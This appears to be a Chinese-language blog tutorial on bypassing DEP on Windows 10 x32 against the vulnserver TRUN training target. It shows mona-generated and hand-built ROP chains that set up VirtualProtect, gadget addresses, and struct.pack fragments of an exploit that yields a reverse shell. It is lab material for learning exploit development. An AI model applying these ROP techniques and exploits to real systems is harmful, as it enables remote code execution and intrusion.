之前写过两篇TRUN bypas DEP的文章,最终都选择了Win7作为实验的操作系统。这里,选择Win10 21H2 x32作为实验的操作系统。
最简单的办法,直接mona自动生成ROP Gadgets。但是,有一个问题,mona会去选择开启ASLR的DLL中的ROP Gadget,也就意味着系统重启之后,ROP Gadgets就会变得不可用。
windbg中mona插件生成的ROP Gadgets,和之前在immunity debugger中使用mona产生的ROP Gadgets略有不同,并且产生速度也比较慢,因为我的windbg安装的位置,如果启动windbg不用管理员,后续mona生成的几个txt文件都没法保存。单纯在essfunc.dll中是找不到符合要求的ROP Gadgets,需要使用如下命令:
1 | !mona rop -m *.dll -n |
retn指令的地址,查找方式:
1 | !mona find -type instr -s "retn" -p 10 -o |
看一下mona自动生成的POP Gadgets:
1 | def create_rop_chain(): |
最终的利用脚本如下:
1 | #!/usr/bin/env python3 |
反弹shell成功:

自动化产生ROP的方式,还是太过简单,来看看手动构造。基础知识就不提了,前面几篇DEP相关的文章都写了。
首先,在IDA中查找导入表,看能否找到VirtualProtect或者VirtualAlloc的地址。这里我选择从essfunc.dll中查看,因为从vulnserver.exe中查看,发现找到的地址包含00,不便于后续处理,还有注意最后的DLL是需要程序运行时加载的:

可以看到VirutalProtect的导入表地址为6250609C。
注意VirtualProtect的函数结构:
1 | BOOL VirtualProtect( |
在编写利用脚本时,VirtualProtect函数需要写成如下所示:
1 | func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address |
可以看见,目前这里都是随机填写的,后续需要通过ROP Gadget去修改为正确的值。有一点需要注意,最后的lpflOldProtect参数,可以选择一个可读可写的内存地址,后续ROP Gadget也不需要进行修改。这里我选择essfunc.dll中的未使用空间,并且地址不包含00。
查看essfunc.dll的地址:

查看对应地址的属性:(!vprot或者!address都可)

查看选择的地址0x62502610:

接下来开始组织ROP Gadgets,首先需要保存ESP的值,最好是保存到两个寄存器中:
1 | # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ} |
寻找合适的ROP Gadget是一个非常繁琐的过程,上面所示就是本例中适合保存ESP的POP Gadget,并且方便后续的操作。
接下来看,如何把IAT中VirtualProtect的地址存放到之前45454545占位符所在的位置,下面是对应的ROP Gadgets:
1 | eip = struct.pack("<L",0x62501022) # retn essfunc.dll |
注意上面这段POP Gadgets的关键点是需要找到45454545占位符的位置,这需要在windbg中不断调试。
接下来是shellcode的地址覆盖到占位符46464646和47474747的位置。这里有点意思:因为目前你不知道shellcode的具体位置,还有一个点就是ROP Gadget是占空间的,随着ROP Gadget越来越多,前期找到的shellcode地址可能就偏移了,就会导致执行的地址在shellcode中间,导致shellcode无法执行。有一个办法就是在shellcode之前加一段较大范围的\x90,这样来回小范围移动,并不会影响最终shellcode的执行。看一下这段ROP Gadgets:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来覆盖46464646占位符所在地址的内容。按照我们之前编写的VirtualProtect函数模版,每个参数之间的地址差都是4bytes,所以这里只需要对上一步中EAX加4,就能执行46464646占位符的地址,然后修改其中的值即可。ROP Gadgets如下:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来,有一些小技巧:

为了保存0x01,可以使用如下ROP Gadget:
1 | # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
其中,-1按照之前的技巧,等于ffffffff,然后用NEG指令即可得到1。
这段的ROP Gadgets如下所示:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来继续看如何保存0x40,继续使用之前介绍的小技巧:

直接看这段的ROP Gadgets:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
因为EAX和EDX都被使用到,注意EDX在使用之前,需要将其中保存的ESP原始值保存到其他寄存器中,这里找到符合要求的EBX,注意# MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}这条ROP Gadget。
接下来,就是执行VirutalProtect函数,这里需要ESP指向VirualProtect在栈空间里面的位置,最终的ROP Gadgets如下:
1 | rop1 += struct.pack("<L",0x76535eb8) # MOV EAX,EBX # POP EBX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ} |
以上就是关键步骤的ROP Gadgets。最终的利用代码如下:
1 | #!/usr/bin/env python3 |
成功反弹shell:

上面使用的是VirtualProtect绕过DEP,如果是VirtualAlloc的话,最终略有不同。因为essfunc.dll的导入表里面没有VirutalAlloc,这里仅做一些解释。看一下VirtualAlloc函数的原型:
1 | LPVOID VirtualAlloc( |
利用脚本里面,VirtualAlloc的模版如下:
1 | LPVOID VirtualAlloc( |
1 | func = pack("<L", (0x45454545)) # dummy VirutalAlloc Address |
在windbg中看一下vulnserver加载的DLL有哪些:

在RPCRT4.DLL的导入表中,可以找到VirtualAlloc函数:

可以看到VirtualAlloc函数在导入表的地址为4F0340D0。需要注意的地方:api-ms-win-core-memory-l1-1-0.DLL库在程序运行的时候并没有加载,如果使用这个值,会出现类似如下这样的问题:

我的理解:查找VirtualAlloc或者VirutalProtect函数在IAT中的地址时,需要注意关联的DLL,如果该DLL在程序运行时加载了,那可以使用通过IAT中函数地址找到该函数,如果DLL在程序运行时没有加载,那么通过IAT中函数地址无法找到该函数运行时地址。
参考:
1.https://www.nirsoft.net/articles/windows_7_kernel_architecture_changes.html